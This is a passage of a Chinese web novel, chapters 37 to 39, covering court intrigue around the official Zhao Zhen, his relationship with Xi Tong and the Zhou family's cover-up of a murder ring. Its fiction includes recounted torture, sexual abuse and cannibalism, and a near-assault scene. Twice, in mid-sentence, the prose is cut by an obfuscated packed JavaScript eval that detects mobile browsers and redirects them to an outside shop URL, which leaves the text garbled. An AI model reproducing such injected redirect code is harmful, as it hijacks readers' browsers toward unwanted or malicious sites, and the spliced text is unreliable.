“我理了理探报,初步预计,有九姓。”张逑为难道:“而且不乏朝廷肱骨,老赵,这事儿你打算怎么办。” “哼,朝廷肱骨。满嘴别人的骨肉,有什么资格做大盈的肱骨。”赵臻没有犹豫:“彻查。为首的世家,无论其在朝中是何地位,灭九族,主犯凌迟。” 此言一出,众人震惶。 苏木:“主公,这些人的确罪该万死,但三代为门第,五代为家族,九代为世家,凡成世家者,势力根深蒂固。主公若真对世家下此狠手,恐怕会动摇朝廷……不妨,徐缓图之……” 赵臻声音凛冽:“罪该万死,就当立时重型处之,迟来的惩罚,没有正义可言。我赵氏亦是百年门楣,赵家能经历的事,他们没什么经历不得。张逑,捉拿要犯,违令者斩,一月之内,审结此案。” “是。”张逑应声。 37.第 37 章 周韵仪站在太傅府的柿子树下,目送林载和张逑他们离开。 蓦地,一道目光朝她看过来。对于周韵仪来说,这人是个生面孔,可他的身份不难猜测,应当是受赵臻招揽,刚回京中办事不久的陆忧。 这人……倒是生了一副温润皮囊,周韵仪想。 她还在愣着伸,陆忧竟朝她抬手,见了个礼。 周韵仪有些意外,但很快反应过来,随即也回了个礼。 林载见此一幕,不由开起了陆忧玩笑:“周韵仪漂亮是漂亮,但可不是个能轻易招惹的主儿。忘名,好花怕是不堪折啊。” 陆忧翻一个白眼,继而正经道:“我是觉得,这姑娘有些城府,敌友莫辨,此等情形下,还是结一些善缘好。” 众人出了府,周韵仪身边的丫头碧琉低声道:“小姐,太傅大人同老爷说的也不一样啊,他心也太宽了,这帮人就这么堂而皇之出入太傅府,都不避讳咱们的。” 周韵仪笑了笑:“能出入这里的,自然都是能摆到明面上的。赵臻若是这点胆魄都没有,那就枉为太傅了。” 碧琉还是狐疑,却听周韵仪话锋一转:“碧琉,红盏的事你听说了吗?” 碧琉忍不住打了个激灵,怎么会没有听说,碧琉、红盏和青璃她们是自小一起长大的,都是在三四岁的年纪就被人牙子卖给了周家。红盏前两日在大朝晖殿偏殿的情形,如今在京城这些世家的下人里都传遍了,碧琉虽没有见到红盏,但听说青璃直接吓得大病了一场,可见当时境况的惨烈。 “你知道红盏为何落得如此下场吗?”周韵仪幽幽问。 “因……因为她……她给太傅大人和越阳王下毒。”碧琉紧张答道。 “错了。”周韵仪看向碧琉:“因为她一仆侍二主。人是周怀淑的,忠心却给了周正,所以才会遭人凌/辱,清白尽毁,余生都要做越阳王手里最卑贱的玩物。碧琉,你可不能学她啊,自己的主子到底是谁,想想清楚才好。” 碧琉当即吓得跪了下来:“小姐放心!奴……奴婢只您一个主子,绝不背叛!” 周韵仪笑了笑:“瞧你吓得,我跟你闲聊呢,起来吧。” 碧琉颤巍巍起身,她们这些丫头,虽是分给了各房的小姐少爷,但其实都是听命老爷的,之前有到了年纪的奴婢,为老爷做事得力的,就被老爷收了做偏房,或者赏赐给自家抑或世交府邸的少爷们做小妾,不用再受做奴婢的苦。当然也有办事不力被罚了的,可因为犯的都是小事,至多也就是打几鞭子。然则红盏这桩事,实打实给她们敲了警钟,原来事情办不好,也是会累及身家性命的。 碧琉跟在周韵仪身后,看着她的背影,深吸一口气,当年管事的将她分给这位庶出的小姐,她本是不甘心的,可年岁久了,愈发觉得,二小姐心中颇有一番盘算,有时候老爷和大少爷在衙门里受了气,回到家,二小姐三言两语就能将他们哄开心。 碧琉暗暗下了决心,就跟着二小姐吧,荣华富贵,暖被窝的男人,这些东西再好,可哪里有活着重要。 周韵仪回到自己厢房不久,奚瞳便来了。 “韵仪,拈花腕子和燕子步已经学会了,今天我们学什么?”奚瞳兴致勃勃。 周韵仪满脸写着不耐烦:“你们不是刚议事完吗?你都不用休息吗?” 奚瞳眨了眨无邪的双眼:“跳舞何尝不是一种休息,再说了,还有人要考校我的功课呢。” “考校?” 事情还要从宫宴结束说起,奚瞳一直以为赵臻那句“授舞小住”是为了在周正面前给周韵仪竖台阶,可不成想次日周韵仪就大包袱小提溜来了太傅府,赵臻还真就让她住下了。 于是奚瞳就想,周韵仪来都来了,她闲着也是闲着,那就学跳舞呗,反正技多不压身。 然后她每天都来周韵仪的院子,悉心求教。 奚瞳在天庭那些年,每年元夕还有天帝寿辰时,他们这些仙君仙娥也都要排演节目,一些简单的舞蹈动作奚瞳是会的,而且她身子本就柔韧,便省了许多打基础的枯燥步骤。加之周韵仪教的很尽心,奚瞳也渐渐从跳舞这件事里咂么出乐趣来。 赵臻下朝之后,要同她一道吃晚饭,还要拘着她,同他一道读书。 奚瞳其实也尝试着读过赵臻书房里的典籍,可他这人无趣的很,除了她早就读过的诸子百家,其他的书都实在是太阴间了一些,比如《古刑论》、《九族罪案》等等。 所以每日赵臻读书的时候,奚瞳要么是吃零食,要么就是发呆,最近一个月,她都整整胖了三斤了。 可自打跟周韵仪学了跳舞,她便也有了事做,就是在脑海里反复练习舞蹈动作,有时候控制不住,手脚也会不自觉跟着脑子动一动。 前两天学拈花腕子舞的时候,周韵仪同她说,这舞的关键是舒展和娇俏,舒展是指手臂和身形,而娇俏除了指尖的精细动作,还要搭配眼神,要娇媚、要撩人。 周韵仪本就貌美,一套动作下来,莫说男子,奚瞳觉得就连她都要动心了。 当天晚上,奚瞳忍不住一遍遍在脑子里描摹着周韵仪的舞姿和神态。 或许是想入了迷,渐渐地,她的上半身也开始舞动,练习周韵仪教给她的动作和眼神。 “你在做什么?!” 奚瞳的自娱自乐很快被与她相对而坐的赵臻打断,他声音里有怒气,奚瞳不禁停下来看向他。 “我……我在……” 或许是秋老虎太猛,天气仍有余热,赵臻的面颊隐隐有些红晕,鼻尖也有星点细汗渗出来,可他的眼睛却像是燃起了焚天灭地的火。 “谁教你的!谁教你这样的狐媚手段?!” 说罢,他拿起手边一直把玩着的玉核桃朝奚瞳扔了过去,正巧击中她的鼻根。 玉核桃不大,赵臻也没有用全力,可鼻根是人面部的脆弱之处,奚瞳的眼泪登时就被打了出来。 疼痛和委屈一股脑涌上她的心头,可还没等她发作,赵臻便起身将她拦腰抱起来。 奚瞳生着气,一路扑腾着:“你放开我!我不要你抱!我自己练舞玩儿,又没招惹你!你凭什么打我?!” 赵臻的脸上浮现一丝无措,他方才不是故意的,他摔核桃的时候,本来是想往她怀里摔的,但抬手的时候,袖子被书案扯了一下,力道变了方向,这才打到了奚瞳脸上去。她掉眼泪的那一刻,他的心也不自觉揪起来,也是一阵生疼。 赵臻将奚瞳放到书房屏风后的短榻上,又从旁边的小橱子里拿出玉露膏,用指腹剜了一点,敷到她发红的鼻根上,轻轻给她揉着。 奚瞳扑簌簌掉着眼泪,方才是疼痛多些,现在则尽是委屈和气恼了:“从小到大,还没人敢动我一根手指头,你算什么东西?!” 这话若让旁人听了,定会觉得奚瞳是活腻了,哪有人敢对着当朝太傅叫嚣“你算什么东西”的。 可赵臻却没有反驳,只轻轻吹着她的伤处:“还疼吗?” 奚瞳的眼泪渐渐停了,但头撇向一边,不让赵臻碰,也不看他。 赵臻叹了口气,方才奚瞳说她在“练舞”,他便知道这狗屁舞蹈,大致是那周二小姐教她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321476|132677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 赵臻有些后悔,那日急于给周韵仪一个说法,才说要请她教授奚瞳跳舞,可他怎么会愿意奚瞳学舞呢…… 如今的世道,女子学舞,无非就是为了取悦男子,以让自己的处境不那么艰难。可是奚瞳,只要好好呆在他身边就好,哪里需要取悦别的什么人。 方才书案边,奚瞳仅仅几个克制的动作、柔媚的眼神,就险些让他自持不能。他怎么能允许,别人看到这样的奚瞳。 赵臻伸出一只手,捧上奚瞳的脸颊,迫她看向自己:“以后不许去跟周韵仪学舞了。” 这话在奚瞳听来,是赵臻在限制她的自由,她当然不服:“凭什么?!” 奚瞳的逆反也让赵臻有了火气:“就凭她教你的是勾引男人的手段,是女子最下贱的姿态!” “才不是!”奚瞳出言反驳:“看的人心脏,所以看什么都脏!在我们那里,跳舞就是为了强健体魄,就是为了让跳的人、看的人都能欣赏到舞姿的美!我们才没你那么龌龊!” “我龌龊?!”赵臻简直要被这小丫头气死了:“我若是龌龊,你就不会有胆量在这里与我叫嚣!你这副自以为是的筋骨早就不知道在我身/下婉转承欢几百回了!” “你……”奚瞳没想到赵臻会同她说这样露骨的话,一时怒也不是,收也不是,只能红着一张脸,哽在那里,生着闷气。 赵臻也知道自己的话有些直白难听了,默然许久,他终是软了态度,开口道:“你们那里……是指长秦?” 奚瞳说的其实是天庭,但显然不能这么解释,她便应了一声:“嗯。” 赵臻叹息:“看来你很喜欢长秦。” 奚瞳没有否认,那是她的故土,即便那是个很弱小的国家,即便她的父王是个很无能的君主。但那是她初次为人之地,而且,那里有赵臻…… “但是奚瞳,大盈与长秦不同。”赵臻肃然道:“大盈皇权羸弱,世家并起,党争不断,政令紊乱,天灾频频,诸如此类,造就了如今真正的乱世。你不知道在这样的世道里,男子会幻化成怎样的野兽,他们没有道德,没有底线,不忠于任何信仰,更不忠于任何人,他们只忠于自己的欲望。所以杀戮、奸/淫,抢掠,甚至吃人,在这片土地上从不罕见。美在这里不是让人欣赏的,美,只能是欲望的猎物。奚瞳,我不允许你成为猎物。” 奚瞳看着赵臻,他的目光诚恳,奚瞳的怒气消了大半:“可是我真的很想学跳舞。之前你看书的时候,我都没有事情做,很是无聊,可自从韵仪教我跳舞,我就能趁你读书的时候想一想那些舞步和音律,时辰也不那么枯燥了。” 赵臻蹙眉:“ 陪着我,无聊吗?” 奚瞳彻底无语,她认真的看着赵臻,坦诚道:“很无聊。我吃零食都吃胖了。” 赵臻打量她一圈,哪里胖了,依旧纤细,一把就能提溜起来,还要更胖些才好。 奚瞳趁势开口:“所以,我可不可以……” “可以继续学舞。”赵臻打断奚瞳:“但你要答应我,只跳与我一人看。” “啊?” 奚瞳心想她不是要说这个的,而且她心里有一丝异样升起,这话说的,也太暧昧了一些…… “我……我自己关起门来跳,不给……不给你们任何人看。”奚瞳抻着脖子说。 “看来是不疼了。”赵臻站起来,脸上又恢复了一贯的冷:“此后,你每七天与我舞一曲,既然要学,就要学精,我来考较你。” 赵臻转身走向书案,身后奚瞳莫名其妙:“赵臻你讲不讲道理?!” 38.第 38 章 周府,祠堂。 周正、周演、周潮父子三人在给祖宗牌位上香。 周家香火已经延续两百多年,祖上是行脚的商人,后人读了书,一代一代从边疆走到了京城,周正的父亲通过定品做了朝廷的小官,结识了赵臻的祖父。 本来指望两家交好,赵家能提携周家一番,可是赵家偏偏生了些不懂变通的硬骨头,为了所谓的文人风骨,全然不要兄弟情义。这样的门风,招来祸事,又怨得了谁呢? 周正从不后悔自己在赵氏灭门惨案之中的站队,若没有他的审时度势,周家非但不会如今日这般富贵滔天,很可能还会被赵家连累。 无论何时,对于男儿来说,将家族的荣辱放到首要的位置上,都是无可厚非之事。 若说这件事里他唯一一点遗憾,就是出于对天机山道门的忌惮,放过了赵臻。他若知道赵臻在族亲皆死的境况之下仍然敢孤身回京,仍然敢走到先帝身边,卑躬屈膝,蓄意讨好……他绝不会有那一念之仁。 父子三人走出祠堂,往议事厅走。 周潮走在后头,仔细环顾了供奉祖先英灵之地,他做黄门侍郎前,是没有资格踏入这里的。 世家祠堂大都是差不多的布置,画像,牌位、檀香炉、长明灯…… 可周家祠堂却有独到之处——在享堂的旁边,有个被铁链紧锁的小屋,门上的大铁锁和门口的梁柱上,密密麻麻贴满了黄色的道符。 周潮听他娘亲说过,这个小门里,也是一堆牌位,只是牌位上没有名字。 姨娘是后宅妇人,自然不知牌位是谁的,周潮却清楚得很,那是赵家人的牌位。周正嘴上说着“无毒不丈夫”,可背地里不知道多么恐惧,否则怎么会妄图用道法将赵家人的魂魄都困在此处,祈求他们永世不得超生。 周潮的嘴角扬起讥讽的笑,先帝真是昏庸到了极致,否则周正这样的奸邪小人怎会走到如今的高位上去。不过也好,或许上天这样安排,就是为了给他周潮一个出头之日。 这一天他等来了,周家是生是灭,已经无所谓了。 父子三人来到议事厅,依次坐到了楠木椅子上。 周正面色很是凝重:“潮儿,三贤郡那桩案子,你那边可有什么消息?” 三贤郡那个“烹小鲜”,周正早就知道,把持这桩生意的,是他麾下之人,这么多年他睁一只眼闭一只眼,也是因为烹小鲜的东家孝敬了周家不少银钱,也帮着处理了几条人命。 三贤郡的郡守向来是个怕是的,去年这郡守告老致仕,换了新人上去。周正再三嘱咐烹小鲜的人,不能再做人命买卖,烹小鲜也确实收敛不少,可没想到金盆洗手尚未干净,就让这新郡守捅到了廷尉监。 周潮故作沉重:“我去廷尉监打听了,张逑查出来九姓门户,孙、严、陶、吕、曹、袁、史、于、卞。除了曹家,可都是父亲的人啊。” 周正放在茶几上的手握起了拳头:“三贤郡守的来路查明白了吗?” 周潮点头:“欧阳凛,燧地人士,好读书,但出身不好,入仕无门,赵臻年少时随白鹭山人云游至燧地时,与之结识,去年不声不响,将他提拔做了三贤郡守。知遇之恩啊,欧阳凛如今也算结草衔环了。” 周正脖子上的青筋越来越紧:“赵臻那边,是什么态度。” 周潮叹一口气:“赵臻一早就放话了,作恶之人,九姓为首者,诛九族。不过父亲,这事恐怕比咱们想象中还要难办。” 周正看向周潮:“什么意思。” 周潮继续道:“廷尉监有个刑官是儿子少时读书的同窗,那日请他吃酒,他醉后同我吐露,把持烹小鲜这门生意的是孙家,但害人性命最多的是严家,听说这些年足足送了几百条人命,去了烹小鲜的厨肆,张逑准备将孙严两家都定做首犯。孙家和严家,可是父亲的左膀右臂啊。” 孙家家主孙巍,是度支尚书,是周家的钱袋子;严家家主严衷,是左民尚书,是周家的土地公。说是左膀右臂,怕都有些含蓄了。 周正不由焦躁起来:“潮儿,你可有什么对策,能否保下他们?” 周潮摇头苦笑:“父亲说笑了,儿子只是个刚上任不久的黄门侍郎,哪有什么门道,能保一族之人的性命。” 一直没说话的周演此时急了眼:“周潮,父亲养你这些年,到了用你的时候,你便就是这副担不得半点事的模样吗?我可瞧见前几日廷尉监那个张逑同你说说笑笑,你们如今同为赵臻门下,一句话的事,这点力你都不愿替家里出吗?” “说说笑笑?”周正蹙眉。 周潮没有否认:“前几日儿子写了一道关于政令修改的笺疏,张大人十分欣赏,便同儿子交谈了一番。怎么了兄长,我兢兢业业为朝廷做事,难道不是为了咱们周家的门楣?” 周正:“既如此,潮儿何妨……” “父亲难道要为了孙家和严家,将儿子刚刚在赵臻部下那里里挣来的交情全部赔上吗?父亲可曾想过日后?日后赵臻身边,父亲无人可用,无所谓吗?” “怎么无人可用?!”周演是个沉不住气的,起身道:“韵仪已经住到赵臻府上了,赵臻早晚都是她的囊中之物。” “呵……”周潮冷笑:“指望一个女子?父亲一妻十三妾,兄长更是数不尽的通房,你们将她们放在眼里过吗?而且周韵仪怎么进的赵家,父亲您的手段何其下作,赵臻虽未深究,却未必不知。” “周潮!”周正怒斥:“你怎敢如此同为父说话!” 周演扇风点火:“一个丑陋贱婢生出的下贱种,父亲指望他,真是白费苦心。” 听闻周演侮辱自己的生母,周潮的脸彻底阴沉下来:“周演,我敬你比我年长,在父亲面前给你留几分薄面,你在烹小鲜做下的烂事,要不要说与父亲听听啊?” 周演闻言脸上登时便有仓惶之色,周正瞧出了不对:“这话什么意思?” 周演结结巴巴解释:“父……父亲,您别听这贱种胡说,儿子没有……” 周潮轻笑:“那数不尽的通房也未能满足兄长的淫/欲啊,去年他同严家的二公子严铄宴饮清谈,不知怎么就聊到了娈童。严铄说手里有一妙龄少年,朱颜玉姿,可性子刚烈,无论如何都不从,这可挑起了兄长的兴致。两人将人一口麻袋绑到了烹小鲜,一通床帏酷刑下来,又喂了淫/药,折磨了整整七日,犹嫌不够。最后将人洗干净送到了厨房,活旋了一条腿下来,熬了肉汤,真可谓一个吃干抹净啊。” 周正怒目望向周演,周演当即跪了下来:“父亲,儿……儿子知道错了,儿子知道错了父亲!” 周正气得将手头的茶杯砸到了周演的脑袋上,鲜血顺着周演的额头流下来。 “为父早就警告过你,在家关起门来,怎么荒唐由你!可出了门你是周家的长子,要有周家的体面!结果你是怎么做的?!逆子!你这个逆子!!!” 周潮眉眼含着讥笑,幽幽开了口:“兄长放心,救不了孙严两家人,但我这个贱种救一救您还是可以的。今夜我会跪到廷尉监张逑大人家门口,求他饶你一次。” 听闻周潮这样说,周正的脸色缓和几分。 周潮又道:“至于孙严两家,儿子虽无能为力,但有一办法,父亲可愿一听?” 周正:“说说看。” 周潮:“两家,哪怕只保一家也好啊。” “何意?” “这案子里,孙家谋财,严家害命。自古害命之罪,重于谋财。”周潮道:“既然严家保不住了,何妨就让他把谋财的罪过也担了?况且严铄手上,还有兄长这个把柄,只有死人才是嘴最严的。” 跪着的周演很是迟疑:“可是……可是这可是灭九族啊,严家怎么可能甘心,而且若让严铄知道是咱们筹谋让严家覆灭,他岂不更会咬住我不放?” 周正的疑虑也在于此。 周潮接着道:“让严家覆灭,确是父亲的决断,却无需父亲动手。只要把这法子知会给孙家,让他们选几个武功高强的心腹部曲,将账本和生意往来的单目放到严家就可以了,他们正愁不知如何脱罪,得了父亲指点,自会感激周家。至于严家,朝廷定罪的时候,父亲装模作样求几句情便可,严家知道了账本栽赃的事,最恨的自然是孙家,这样的重罪之前,父亲仍为他们说话,他们也会对父亲心存感激,自然不会将兄长的事暴露出来。” 周正点头:“事到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321477|132677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如今,只能如此了。” 说到这里,周正似乎又想起了什么,他意味深长地看向周潮:“潮儿啊,前些年,为父的确忽略了你,但也保了你衣食无忧、读书明理。待你日后做了父亲,有了妻妾儿女,便知执掌一大家子,自有难处。” 周潮心里只觉这番话可笑,可面上仍是乖顺:“是,儿子明白。” “你也不小了。”周正道:“为父会尽快为你寻一门体面的婚事,该成家了。” 周潮脑海里浮现深宫里那张妖冶艳丽的脸:“但凭父亲吩咐。” 周正十分疲累,起身回了卧房。 周演松一口气,从地上起来,摸着自己破了的额头,周潮含笑走到他跟前:“我现在就准备去廷尉监跪求了,兄长是否欠了我一份人情?” 周正走了,周演没了顾及:“我是周家嫡长子,你为我做事,是你的本分,居然还妄图从我身上要什么人情?” 周潮伸手搭上周演的肩膀:“我就知道兄长是不会吃一堑长一智的,不过,做弟弟的自然要为你考虑,有桩事刚才还忘了同你说。那个被你们折磨、又吃了一条腿的少年,还活着。” 周演闻言大惊:“在哪,他在哪?!” 周潮笑了:“是啊,他在哪呢?兄长你猜,他是在赵臻手里,在廷尉监手里,还是在我这个贱种手里?哈哈哈哈哈哈……” 周潮大笑出门去,留下周演在议事厅战栗不止。 …… 周潮没有食言,他果真去张府门前跪了一夜,深秋天寒,第二日回府的时候,路都不能走了。周正为他寻了太医,而且当夜,宿在了周潮亲娘——这个他厌恶了二十多年的丑妾房里。 周潮的这一跪,感动的不只是周正。 太傅府,张逑眉飞色舞:“老赵你真是好眼光,周潮此子,对自己是真下得去狠手啊。这场戏演到最后,我都有点不忍心了。那可是跪了整整六个时辰啊,我那老管家去扶他的时候,他眉毛上都结霜了。” 赵臻面不改色:“他前些年过得屈辱,好容易有了报仇的机会,自然不会放过。” 奚瞳却有些担忧:“可是周正是他生身父亲,他当真能恨他到这种地步吗?” 赵臻:“他对周正或许还有一点孺慕之情,但对周演,对严家,却一定是恨到了骨子里。” 奚瞳:“为何?” 赵臻解释:“周演那些狐朋狗友里,严铄同他最为亲密。两个人从小欺负周潮,周潮能从这两个太岁手里活下来已经是命大。而且,被周演严铄凌辱的那个少年,是周潮的表弟,叫英逢。” “表弟?”奚瞳讶然。 赵臻道:“周潮的姨母英年丧夫,在老家独自将英逢养大。母子两人经营一间酒肆,前些年艰难,但后来生意好了起来。可是一个寡妇含辛茹苦,便落下了一身病,好日子没过多久,于前年过世了。英逢当时才十三,哪里能独自支撑酒肆产业,便听了母亲的遗言,来京城投奔姨母和表哥。英逢来了京城,见到了周潮,便知他过得不好。英逢是个仁义的孩子,周潮是他在世上唯一的血亲,他就将自己变卖酒肆所得钱财的大半都给了周潮,鼓励他好好读书,将来做官。兄弟两人虽是初见,但因英逢这番举动,周潮很是动容。英逢在京城找了个宅子住下,本想找些活计做,可没想到就被严铄盯上了,掳了回去,便有了之后的惨祸……” “怪不得。”奚瞳愤愤:“换做是我,也要将严铄和周演千刀万剐了才好。” 几人还在闲聊着,管家裴鸣突然来报:“大人,昭阳王府来人了。” “昭阳王?”众人惊诧,高澜一向不理俗事,他的人来做什么。 裴鸣接着道:“是几个侍卫,抬了个箱子,说是送礼。” 赵臻拧眉:“不必了,告诉他们,太傅府无功不受禄,不劳昭阳王破费。” 裴鸣有些为难,尴尬一笑:“大人,这礼……不是给您的。” 众人:??? 裴鸣:“是给奚瞳姑娘的。” 奚瞳瞪大眼睛,心道:我???还有这等好事??? 赵臻一双星目微微眯起来,恨不得当即提剑冲到昭阳王府,抹了高澜的脖子。 39.第 39 章 弯月如刀,雕刻着秋夜的凉意。 方才议完了事,应付了昭阳王府的人,宫里头的内侍就来了,说是太后胃疾犯了,疼得不能下榻,还吐了血。彼时奚瞳晚饭都做好了,可赵臻一口没吃,起身便去了宫里。 奚瞳心里不舒服,虽然她知道,赵臻此举是人之常情。 他同周正有血海深仇,但同周怀淑是青梅竹马,结下婚约的那些年,少年少女之间有过缠绵情愫,是再正常不过的事。虽说后来这段姻缘被惨烈的杀戮隔绝,但生死关头,念着彼此,无可厚非。 奚瞳这样想着,可鼻根却泛起了酸涩,她长长吸了一口气,让自己平静下来。 她告诫自己:“你下界,图的是尘缘偿尽,心无挂怀。可你如今却有些图上了赵臻的身子,你太馋了,有失仙女身份,传到天庭,惹人笑话。” 兀自呢喃了一通,奚瞳好受不少。 她走到书案旁,不由想起,平日这个时辰,赵臻已经坐在此处看书了,而她会在旁边的矮几上吃点心。 奚瞳摇摇头,将赵臻的影子从脑袋里晃出去,她看向书案旁边那个漆了金花的红木箱子,那是昭阳王送给她的礼物。赵臻让人放到了这里,而且说了不许她碰。 奚瞳生气,给她的礼物,她却碰不得,这是什么道理。只许你去美人跟前侍疾,却不许我收郎君的礼物,这根本没道理。 于是奚瞳不再犹豫,她打开箱子,里头的东西露了出来。 奚瞳的眼睛亮了亮,是一尾琴,还有一方折页。 奚瞳将折页打开,上头讲了这琴的名字和来历。古琴叫做雁鸣,来自大漠之中的古国沙之国。那里的人们将雄鹰和大雁当做神祇,雄鹰代表着勇猛和不屈,而大雁代表着忠贞和柔情。 奚瞳将琴抱出来,琴身意外的很轻。 她摸了摸琴背,木质细腻,应该是上好的黄梨香。古琴的韵沼处镶着一枚夜明珠,就像是鸟类可以勘透雨雾和云层的眼睛。 奚瞳将琴放到书案上,调了调弦,此时的月亮刚升到半空,清冷的月光透过门扉洒进书房,带来只有夜晚才懂的柔情。 奚瞳纤指舞动,琴声婉转而起。 她弹的是《登临曲》,是云序……不,是昭阳王那日说,想要听一听的《登临曲》。 于古琴一道,奚瞳并不是童子功,她是及笄之后,才跟着云序学弹琴的。她的音律之才尽皆师承自云序,可唯独《破阵》和《登临》,不是云序的手笔,而是赵臻。 云序“冲撞”赵臻之后,被赵臻挑断了右手的手筋,以至余生都无法再抚琴。 奚瞳为此杖责赵臻,打了他个半死。 奚瞳并不知赵臻为何那般对待云序,所以杖责过后,她便去了他的住所,问他要一个说法。 赵臻当时趴在床榻之上,后背鲜血氤氲,将白色的亵衣染出绯红的印记。 赵臻没有回答,只带着含了恨的笑意:“怎么?公主殿下心疼了?” “你可知他一身精绝琴艺,今朝丧于你手。”奚瞳不忿。 因为疼痛,赵臻额前冷汗密布,面色苍白,可仍是笑着,这笑容让奚瞳生气。 “是啊,云序的琴技,名扬四海。天下琴师对他赞不绝口,皆道他是不世出的天才。”赵臻咬牙道:“然在赵某眼里,他不过就是沽名钓誉之辈。他身负盛名,陪伴公主,可他教您的,都是些什么东西?!” 奚瞳觉得赵臻不可理喻,云序教她的都是些名曲,《相思令》、《别君难》、《燕双飞》……这些曲子怎么了? 赵臻接着说道:“堂堂长秦公主,整日沉迷此等缠绵艳曲。乱世当头,只弹靡音,他云知意谈何懂琴?!赵九!拿琴来!” 那一天,奚瞳第一次听到了《破阵》和《登临》。 赵臻的清瘦的双手在琴弦上跃动,他背上的伤口在琴音中崩裂,鲜血渗透衣衫,滴落在石板上。 奚瞳将这两首曲子记在了心里,那张苍白的脸和那身血衣也印在了她的脑海里。 三年之后,奚瞳站上城墙自刎明志,弥留之际,除了满城的烧杀与哭喊,这两首曲子竟在她脑海里幽幽响起,她因此忘却了长剑割破颈子的剧痛,迎来生命里最后的片刻宁静。 奚瞳此时又弹奏起《登临》,在生命逝去之后,她又度过了五百年“举目无亲”的岁月,仙道虽好,终究寂寞。于是长秦的那些往事,她同赵臻之间的龃龉和恨意,在时间的粉饰下,都渡上一层柔光,显得温暖可亲起来。 她不由有些忘情。门外那双眼睛已经注视她许久,她全然不曾察觉。 赵臻回来时,远远便听到琴声。他年少时也学过琴,而且还被先生夸过,说他极有天赋,可他每每抚琴,都会觉得心头滞闷,寻了医者,都道无疾。后来拜入白鹭山人门下,师父说琴弦之上,有他往世情劫心结,系铃人不来,孽缘解不开。于是他便不再修习琴艺。 府上无琴,却有琴音,赵臻不肖多想,便知这是高澜赠予奚瞳的礼物。也只有奚瞳,敢违背他的命令,擅自打开箱子。 于是一时间,嫉妒和气恼冲昏了头,赵臻疾步走向书房,可在看到奚瞳的时候,他却停了下来。 奚瞳的神情专注而忧伤,一双眼睛明明那么美,却失了焦,眼神像是载着思绪,飘到了很远很远的地方。 不知为什么,赵臻的心也揪起来。 他就这样安静听了许久,慢慢地,那日宫宴中毒后的幻象又出现在眼前。 鬼使神差地,赵臻开了口:“公主殿下……” 琴音铮然而止。 奚瞳有些不可置信地望向赵臻,两人就这样对视着,时间凝结在昏黄的烛光和无边的夜色里。 赵臻意识到自己说了什么,不由讶然,而他更惊讶的,是奚瞳的反应。 她的不可置信,显然并不是因为“公主”这个称呼的荒唐,而是她不明白,为什么他会这样称呼她。 赵臻体内的怒火又烧起来,所以……那天的幻象,或许不是幻象,而是真的。 所以……她真的跟那个与高澜肖似的男子定下了结发之缘。 所以那日宫宴上,她见到高澜才会那般惊讶,甚至当众站了起来。 所以在高澜琴弦断裂之后,她才会那样急迫地出手相助,全然不顾身份暴露的危险。 什么永不背弃,什么我会陪着你,都是谎话!都是欺骗! 赵臻双目猩红,阔步走向奚瞳,一把将她抱起来,扔到短榻上。 “赵臻你发什么疯?!”奚瞳想要起身,却被赵臻擒住了双手。 他将她的双手钉在她的头顶,奚瞳苦苦挣扎,却无法挣脱:“赵臻,你放开我!” 宽肩窄腰的身影压下来,他的鼻息来到了她的鼻息处。 他沙哑而疯狂的声音质问着她:“说!他是谁?!他到底是谁?!” 奚瞳莫名其妙:“什么他,哪来的他?” 赵臻的瞳孔像要喷出烈火:“你不是说你不会背弃我,不会离开我吗?为什么骗我?!为什么?!” “赵臻你在说什么?!”奚瞳的眼中泛起泪花:“我没有骗你。你到底怎么了?” 赵臻看到奚瞳微蹙的眉头,如水的双眸,因为羞愤和奋力挣扎而微红的面颊,气息不由乱了起来。 奚瞳察觉了赵臻目光的变化,她感受到了赵臻眼中那愈发浓烈的野欲,难以抑制地恐惧起来。 她更加奋力的挣扎,却始终无法摆脱赵臻的双手,她力气渐渐衰竭,终于低声哭了出来:“赵臻你别这样,你让我害怕。求求你……求求你放开我……求你……” 赵臻凝视了奚瞳很久,最终松开了双手。奚瞳逃也似地从短榻上站起来,大步离开之前,她回首看了赵臻僵在短榻一旁的背影。月光与烛光之下,这背影萧索、孤寂。一如她回忆里,五百年前的那个人。 奚瞳的脸上有两行珠泪落下来:“赵臻,我从未明白过你。” 赵臻的肩膀似是虚晃了一瞬,可终究,他什么都没有说。 …… 这一夜过后,京城短暂的秋天彻底逝去,漫长的冬日悄然来临,奚瞳和赵臻的关系也降至了冰点。 同住一府,可赵臻不再同她一起吃饭,也不再邀她一起读书,他们议论政事,也不再让她相陪。 奚瞳依旧每日研究美食,跟周韵仪学跳舞,这可急坏了紫虚:“姐姐要同太傅大人置气到什么时候?太傅不理姐姐都快一个月了,姐姐都不着急吗?” 奚瞳胸口发闷,她的气其实已经消了,毕竟赵臻一直就情绪不稳定,对此奚瞳也不是不能理解,你不能指望一个一夜之间全家死光的人还能保持心理健康。所以奚瞳想的是,只要赵臻跟她服个软,她就大人有大量,既往不咎。 可这次赵臻不知道抽什么疯,竟然一句话都不来同她讲。她好哄归好哄,前提是你得先意思意思啊…… 紫虚见奚瞳不说话,开始动之以理晓之以情:“姐姐,你此番下界可是修功德的。这辈子修不成你可就晋不了神位了。太傅大人是男子,自然脾气硬些,你去跟他亲近亲近,他没有不领情的。” “不行!”奚瞳拒绝:“凭什么要 